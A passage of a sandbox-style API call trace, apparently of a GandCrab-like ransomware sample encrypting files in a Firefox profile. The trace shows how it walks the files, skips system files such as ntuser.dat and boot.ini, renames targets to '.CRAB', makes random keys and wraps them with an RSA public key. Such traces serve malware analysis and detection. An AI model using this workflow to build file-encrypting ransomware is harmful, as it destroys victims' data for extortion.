	[0120.077] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cert8.db.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0120.077] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.078] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.078] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x18000, lpOverlapped=0x0) returned 1
	[0120.120] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0120.122] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0120.124] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.125] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffe8000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.125] WriteFile (in: hFile=0x3e0, lpBuffer=0x3470000*, nNumberOfBytesToWrite=0x18000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3470000*, lpNumberOfBytesWritten=0x3149f14*=0x18000, lpOverlapped=0x0) returned 1
	[0120.125] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.126] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.130] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0120.130] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0120.130] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0120.131] CloseHandle (hObject=0x3e0) returned 1
	[0120.133] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.133] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.133] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.134] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.134] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.134] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.134] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0120.135] lstrcmpW (lpString1="compatibility.ini", lpString2=".") returned 1
	[0120.135] lstrcmpW (lpString1="compatibility.ini", lpString2="..") returned 1
	[0120.135] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="compatibility.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini"
	[0120.135] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.135] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned 97
	[0120.135] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned 97
	[0120.135] lstrlenW (lpString=".ini") returned 4
	[0120.135] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.135] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0120.135] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.136] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned 97
	[0120.136] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned 97
	[0120.136] lstrcmpiW (lpString1="compatibility.ini", lpString2="desktop.ini") returned -1
	[0120.136] lstrcmpiW (lpString1="compatibility.ini", lpString2="autorun.inf") returned 1
	[0120.136] lstrcmpiW (lpString1="compatibility.ini", lpString2="ntuser.dat") returned -1
	[0120.136] lstrcmpiW (lpString1="compatibility.ini", lpString2="iconcache.db") returned -1
	[0120.136] lstrcmpiW (lpString1="compatibility.ini", lpString2="bootsect.bak") returned 1
	[0120.136] lstrcmpiW (lpString1="compatibility.ini", lpString2="boot.ini") returned 1
	[0120.136] lstrcmpiW (lpString1="compatibility.ini", lpString2="ntuser.dat.log") returned -1
	[0120.136] lstrcmpiW (lpString1="compatibility.ini", lpString2="thumbs.db") returned -1
	[0120.136] lstrcmpiW (lpString1="compatibility.ini", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.136] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.136] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini.CRAB") returned 102
	[0120.137] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\compatibility.ini")) returned 0x20
	[0120.137] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini", dwFileAttributes=0x20) returned 1
	[0120.138] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\compatibility.ini"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\compatibility.ini.crab")) returned 1
	[0120.139] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.139] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini.CRAB"
	[0120.139] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini.CRAB.CRAB"
	[0120.139] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0120.140] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.140] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.141] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.141] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0120.141] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.141] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.141] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ec00) returned 1
	[0120.141] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.142] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.142] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.142] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0120.142] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0120.142] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.142] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.143] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.143] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0120.144] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded668) returned 1
	[0120.145] CryptGetKeyParam (in: hKey=0xded668, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0120.145] CryptEncrypt (in: hKey=0xded668, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0120.145] GetLastError () returned 0x0
	[0120.145] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0120.145] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e7c0) returned 1
	[0120.146] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda3fe0) returned 1
	[0120.146] CryptGetKeyParam (in: hKey=0xda3fe0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0120.146] CryptEncrypt (in: hKey=0xda3fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0120.146] GetLastError () returned 0x0
	[0120.146] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0120.147] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\compatibility.ini.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0120.147] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.148] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.148] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0xd0, lpOverlapped=0x0) returned 1
	[0120.186] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0120.186] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0120.187] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.187] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffffff30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.187] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0xd0, lpOverlapped=0x0) returned 1
	[0120.187] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.190] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.194] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0120.194] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0120.200] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0120.200] CloseHandle (hObject=0x3e0) returned 1
	[0120.201] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.201] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.202] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.202] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.202] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.202] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.203] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0120.203] lstrcmpW (lpString1="containers.json", lpString2=".") returned 1
	[0120.203] lstrcmpW (lpString1="containers.json", lpString2="..") returned 1
	[0120.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="containers.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json"
	[0120.203] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.204] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned 95
	[0120.204] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned 95
	[0120.204] lstrlenW (lpString=".json") returned 5
	[0120.204] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.204] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".json ") returned 6
	[0120.205] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.205] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned 95
	[0120.205] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned 95
	[0120.205] lstrcmpiW (lpString1="containers.json", lpString2="desktop.ini") returned -1
	[0120.205] lstrcmpiW (lpString1="containers.json", lpString2="autorun.inf") returned 1
	[0120.205] lstrcmpiW (lpString1="containers.json", lpString2="ntuser.dat") returned -1
	[0120.205] lstrcmpiW (lpString1="containers.json", lpString2="iconcache.db") returned -1
	[0120.205] lstrcmpiW (lpString1="containers.json", lpString2="bootsect.bak") returned 1
	[0120.205] lstrcmpiW (lpString1="containers.json", lpString2="boot.ini") returned 1
	[0120.205] lstrcmpiW (lpString1="containers.json", lpString2="ntuser.dat.log") returned -1
	[0120.205] lstrcmpiW (lpString1="containers.json", lpString2="thumbs.db") returned -1
	[0120.205] lstrcmpiW (lpString1="containers.json", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.205] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.206] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json.CRAB") returned 100
	[0120.206] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\containers.json")) returned 0x20
	[0120.206] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json", dwFileAttributes=0x20) returned 1
	[0120.207] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\containers.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\containers.json.crab")) returned 1
	[0120.207] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.208] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json.CRAB"
	[0120.208] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json.CRAB.CRAB"
	[0120.208] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0120.209] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.209] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.209] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.209] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0120.210] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.210] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.210] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ed98) returned 1
	[0120.211] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.211] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.211] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.212] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0120.212] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0120.212] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.212] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.212] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.213] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e6b0) returned 1
	[0120.213] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda3e20) returned 1
	[0120.213] CryptGetKeyParam (in: hKey=0xda3e20, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0120.213] CryptEncrypt (in: hKey=0xda3e20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0120.214] GetLastError () returned 0x0
	[0120.214] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0120.214] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0120.214] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda4160) returned 1
	[0120.214] CryptGetKeyParam (in: hKey=0xda4160, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0120.214] CryptEncrypt (in: hKey=0xda4160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0120.215] GetLastError () returned 0x0
	[0120.215] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.215] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\containers.json.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0120.216] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.216] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.216] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x329, lpOverlapped=0x0) returned 1
	[0120.236] VirtualAlloc (lpAddress=0x0, dwSize=0x330, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0120.237] VirtualAlloc (lpAddress=0x0, dwSize=0x330, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0120.237] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.237] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffcd7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.237] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x330, lpOverlapped=0x0) returned 1
	[0120.238] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.238] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.242] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0120.244] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
